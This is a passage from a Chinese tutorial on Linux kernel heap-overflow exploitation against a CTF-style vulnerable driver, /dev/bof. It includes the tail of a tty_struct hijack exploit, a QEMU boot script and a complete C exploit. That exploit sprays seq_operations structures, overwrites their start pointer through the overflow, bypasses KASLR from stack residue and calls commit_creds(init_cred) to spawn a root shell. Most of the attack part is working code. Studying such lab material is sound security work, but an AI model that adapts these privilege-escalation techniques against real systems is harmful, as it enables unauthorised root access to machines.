                  bof_fd
                
                
                  =
                
                
                  open
                
                (
                
                  "/dev/bof"
                
                , 
                
                  O_RDWR
                
                );
              
              

              
                
                
              
              

              
                    
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  0x2e0
                
                ;
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_MALLOC
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  memset
                
                (
                
                  p
                
                .
                
                  buf
                
                , 
                
                  '\xff'
                
                , 
                
                  0x2e0
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_EDIT
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_FREE
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                
                
              
              

              
                    
                
                  int
                
                
                  ptmx_fd
                
                
                  =
                
                
                  open
                
                (
                
                  "/dev/ptmx"
                
                , 
                
                  O_RDWR
                
                );
              
              

              
                
                
              
              

              
                    
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  0x20
                
                ;
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_READ
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  printf
                
                (
                
                  "[*]magic_code==> %p -- %p\n"
                
                , 
                
                  &
                
                
                  p
                
                .
                
                  buf
                
                [
                
                  0
                
                ], 
                
                  *
                
                (
                
                  size_t
                
                
                  *
                
                )
                
                  &
                
                
                  p
                
                .
                
                  buf
                
                [
                
                  0
                
                ]);
              
              

              
                    
                
                  printf
                
                (
                
                  "[*]tty____ops==> %p -- %p\n"
                
                , 
                
                  &
                
                
                  p
                
                .
                
                  buf
                
                [
                
                  0x18
                
                ], 
                
                  *
                
                (
                
                  size_t
                
                
                  *
                
                )
                
                  &
                
                
                  p
                
                .
                
                  buf
                
                [
                
                  0x18
                
                ]);
              
              

              
                
                
              
              

              
                    
                
                  *
                
                (
                
                  size_t
                
                
                  *
                
                )
                
                  &
                
                
                  p
                
                .
                
                  buf
                
                [
                
                  0x18
                
                ] 
                
                  =
                
                
                  &
                
                
                  fake_tty_ops
                
                ;
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_EDIT
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                
                
              
              

              
                    
                
                  ioctl
                
                (
                
                  ptmx_fd
                
                , 
                
                  0
                
                , 
                
                  0
                
                );
              
              

              
                    
              
              

              
                
                
              
              

              
                
                      
                
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
            

seq_operations 劫持

boot.sh

              
                
                  #!/bin/bash
                
              
              

              
                
                
              
              

              
                qemu-system-x86_64 \
              
              

              
                  
                
                  -initrd
                
                 rootfs.img \
              
              

              
                  
                
                  -kernel
                
                 bzImage \
              
              

              
                  
                
                  -m
                
                 512M \
              
              

              
                  
                
                  -nographic
                
                 \
              
              

              
                  
                
                  -append
                
                
                  'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr'
                
                 \
              
              

              
                  
                
                  -monitor
                
                 /dev/null \
              
              

              
                  
                
                  -s
                
                 \
              
              

              
                  
                
                  -cpu
                
                 kvm64 \
              
              

              
                  
                
                  -smp
                
                
                  cores
                
                
                  =
                
                
                  1
                
                
                  ,threads
                
                
                  =
                
                
                  1
                
                 \
              
              

              
                  
                
                  --nographic
                
              
            

利用思路

seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。

              
                
                  struct
                
                
                  seq_operations
                
                 {
              
              

              
                
                      
                
                
                  void
                
                
                  *
                
                 (
                
                  *
                
                
                  start
                
                ) (
                
                  struct
                
                
                  seq_file
                
                
                  *
                
                
                  m
                
                , 
                
                  loff_t
                
                
                  *
                
                
                  pos
                
                );
              
              

              
                
                      
                
                
                  void
                
                 (
                
                  *
                
                
                  stop
                
                ) (
                
                  struct
                
                
                  seq_file
                
                
                  *
                
                
                  m
                
                , 
                
                  void
                
                
                  *
                
                
                  v
                
                );
              
              

              
                
                      
                
                
                  void
                
                
                  *
                
                 (
                
                  *
                
                
                  next
                
                ) (
                
                  struct
                
                
                  seq_file
                
                
                  *
                
                
                  m
                
                , 
                
                  void
                
                
                  *
                
                
                  v
                
                , 
                
                  loff_t
                
                
                  *
                
                
                  pos
                
                );
              
              

              
                
                      
                
                
                  int
                
                 (
                
                  *
                
                
                  show
                
                ) (
                
                  struct
                
                
                  seq_file
                
                
                  *
                
                
                  m
                
                , 
                
                  void
                
                
                  *
                
                
                  v
                
                );
              
              

              
                };
              
            

调用读取 stat 文件时会调用 seq_operationsstart 函数指针。

              
                
                  ssize_t
                
                
                  seq_read
                
                (
                
                  struct
                
                
                  file
                
                
                  *
                
                
                  file
                
                , 
                
                  char
                
                
                  __user
                
                
                  *
                
                
                  buf
                
                , 
                
                  size_t
                
                
                  size
                
                , 
                
                  loff_t
                
                
                  *
                
                
                  ppos
                
                )
              
              

              
                {
              
              

              
                
                      
                
                
                  struct
                
                
                  seq_file
                
                
                  *
                
                
                  m
                
                
                  =
                
                
                  file
                
                
                  ->
                
                
                  private_data
                
                ;
              
              

              
                
                      
                
                ...
              
              

              
                
                      
                
                
                  p
                
                
                  =
                
                
                  m
                
                
                  ->
                
                
                  op
                
                
                  ->
                
                
                  start
                
                (
                
                  m
                
                , 
                
                  &
                
                
                  pos
                
                );
              
              

              
                
                      
                
                ...
              
            

当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEPSMAPKPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。

image-20240922171025707

exp

              
                
                  #include <fcntl.h>
                
              
              

              
                
                  #include <stdio.h>
                
              
              

              
                
                  #include <stdlib.h>
                
              
              

              
                
                  #include <sys/ioctl.h>
                
              
              

              
                
                  #include <unistd.h>
                
              
              

              
                
                  #include <string.h>
                
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  param
                
                 {
              
              

              
                    
                
                  size_t
                
                
                  len
                
                ;       
                
                  // 内容长度
                
              
              

              
                    
                
                  char
                
                
                  *
                
                
                  buf
                
                ;        
                
                  // 用户态缓冲区地址
                
              
              

              
                    
                
                  long
                
                
                  long
                
                
                  idx
                
                ;
                
                  // 表示 ptr 数组的 索引
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  const
                
                
                  int
                
                
                  SEQ_NUM
                
                
                  =
                
                
                  0x200
                
                ;
              
              

              
                
                  const
                
                
                  int
                
                
                  DATA_SIZE
                
                
                  =
                
                
                  0x20
                
                
                  *
                
                
                  8
                
                ;
              
              

              
                
                  #define BOF_MALLOC 5
                
              
              

              
                
                  #define BOF_FREE 7
                
              
              

              
                
                  #define BOF_EDIT 8
                
              
              

              
                
                  #define BOF_READ 9
                
              
              

              
                
                
              
              

              
                
                
              
              

              
                
                  void
                
                
                  get_shell
                
                () { 
              
              

              
                    
                
                  system
                
                (
                
                  "/bin/sh"
                
                ); 
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  user_cs
                
                , 
                
                  user_rflags
                
                , 
                
                  user_sp
                
                , 
                
                  user_ss
                
                , 
                
                  user_rip
                
                
                  =
                
                 (
                
                  size_t
                
                ) 
                
                  get_shell
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  save_status
                
                () {
              
              

              
                    
                
                  __asm__
                
                (
                
                  "mov user_cs, cs;"
                
              
              

              
                            
                
                  "mov user_ss, ss;"
                
              
              

              
                            
                
                  "mov user_sp, rsp;"
                
              
              

              
                            
                
                  "pushf;"
                
              
              

              
                            
                
                  "pop user_rflags;"
                
                );
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] status has been saved."
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  *
                
                (
                
                  *
                
                
                  commit_creds
                
                )(
                
                  void
                
                
                  *
                
                ) 
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) 
                
                  0xFFFFFFFF810A1340
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  *
                
                
                  init_cred
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) 
                
                  0xFFFFFFFF81E496C0
                
                ;
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  kernel_offset
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  get_root
                
                () {
              
              

              
                    
                
                  // 通过栈上的残留值绕过KASLR。
                
              
              

              
                    
                
                  __asm__
                
                (
              
              

              
                        
                
                  "mov rax, [rsp + 8];"
                
              
              

              
                        
                
                  "mov kernel_offset, rax;"
                
              
              

              
                    );
              
              

              
                    
                
                  kernel_offset
                
                
                  -=
                
                
                  0xffffffff81229378
                
                ;
              
              

              
                    
                
                  commit_creds
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) ((
                
                  size_t
                
                ) 
                
                  commit_creds
                
                
                  +
                
                
                  kernel_offset
                
                );
              
              

              
                    
                
                  init_cred
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) ((
                
                  size_t
                
                ) 
                
                  init_cred
                
                
                  +
                
                
                  kernel_offset
                
                );
              
              

              
                    
                
                  commit_creds
                
                (
                
                  init_cred
                
                );
              
              

              
                    
                
                  __asm__
                
                (
              
              

              
                        
                
                  "swapgs;"
                
              
              

              
                        
                
                  "push user_ss;"
                
              
              

              
                        
                
                  "push user_sp;"
                
              
              

              
                        
                
                  "push user_rflags;"
                
              
              

              
                        
                
                  "push user_cs;"
                
              
              

              
                        
                
                  "push user_rip;"
                
              
              

              
                        
                
                  "iretq;"
                
              
              

              
                    );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  main
                
                () {
              
              

              
                    
                
                  save_status
                
                ();
              
              

              
                
                
              
              

              
                    
                
                  int
                
                
                  bof_fd
                
                
                  =
                
                
                  open
                
                (
                
                  "dev/bof"
                
                , 
                
                  O_RDWR
                
                );
              
              

              
                    
                
                  if
                
                 (
                
                  bof_fd
                
                
                  <
                
                
                  0
                
                ) {
              
              

              
                        
                
                  puts
                
                (
                
                  "[-] Failed to open bof."
                
                );
              
              

              
                        
                
                  exit
                
                (
                
                  -
                
                
                  1
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  struct
                
                
                  param
                
                
                  p
                
                
                  =
                
                 {
                
                  0x20
                
                , 
                
                  malloc
                
                (
                
                  0x20
                
                ), 
                
                  0
                
                };
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  0x40
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_MALLOC
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    }
              
              

              
                    
                
                  memset
                
                (
                
                  p
                
                .
                
                  buf
                
                , 
                
                  '\xff'
                
                , 
                
                  p
                
                .
                
                  len
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_EDIT
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  // 大量喷洒 seq_ops 结构体。
                
              
              

              
                    
                
                  int
                
                
                  seq_fd
                
                [
                
                  SEQ_NUM
                
                ];
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  SEQ_NUM
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  seq_fd
                
                [
                
                  i
                
                ] 
                
                  =
                
                
                  open
                
                (
                
                  "/proc/self/stat"
                
                , 
                
                  O_RDONLY
                
                );
              
              

              
                        
                
                  if
                
                 (
                
                  seq_fd
                
                [
                
                  i
                
                ] 
                
                  <
                
                
                  0
                
                ) {
              
              

              
                            
                
                  puts
                
                (
                
                  "[-] Failed to open stat."
                
                );
              
              

              
                        }
              
              

              
                    }
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] seq_operations spray finished."
                
                );
              
              

              
                
                      
                
              
              

              
                    
                
                  // 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
                
              
              

              
                    
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  DATA_SIZE
                
                ;
              
              

              
                    
                
                  p
                
                .
                
                  buf
                
                
                  =
                
                
                  malloc
                
                (
                
                  DATA_SIZE
                
                );
              
              

              
                    
                
                  p
                
                .
                
                  idx
                
                
                  =
                
                
                  0
                
                ;
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  DATA_SIZE
                
                ; 
                
                  i
                
                
                  +=
                
                
                  sizeof
                
                (
                
                  size_t
                
                )) {
              
              

              
                        
                
                  *
                
                (
                
                  size_t
                
                
                  *
                
                ) 
                
                  &
                
                
                  p
                
                .
                
                  buf
                
                [
                
                  i
                
                ] 
                
                  =
                
                 (
                
                  size_t
                
                ) 
                
                  get_root
                
                ;
              
              

              
                    }
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  BOF_EDIT
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] Heap overflow finished."
                
                );
              
              

              
                
                
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  SEQ_NUM
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  read
                
                (
                
                  seq_fd
                
                [
                
                  i
                
                ], 
                
                  p
                
                .
                
                  buf
                
                , 
                
                  1
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
            

本文作者: dingjiacan@antvsion.com

本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/205531.html

赞(0)
未经允许不得转载:工具盒子 » Linux kernel 堆溢出利用方法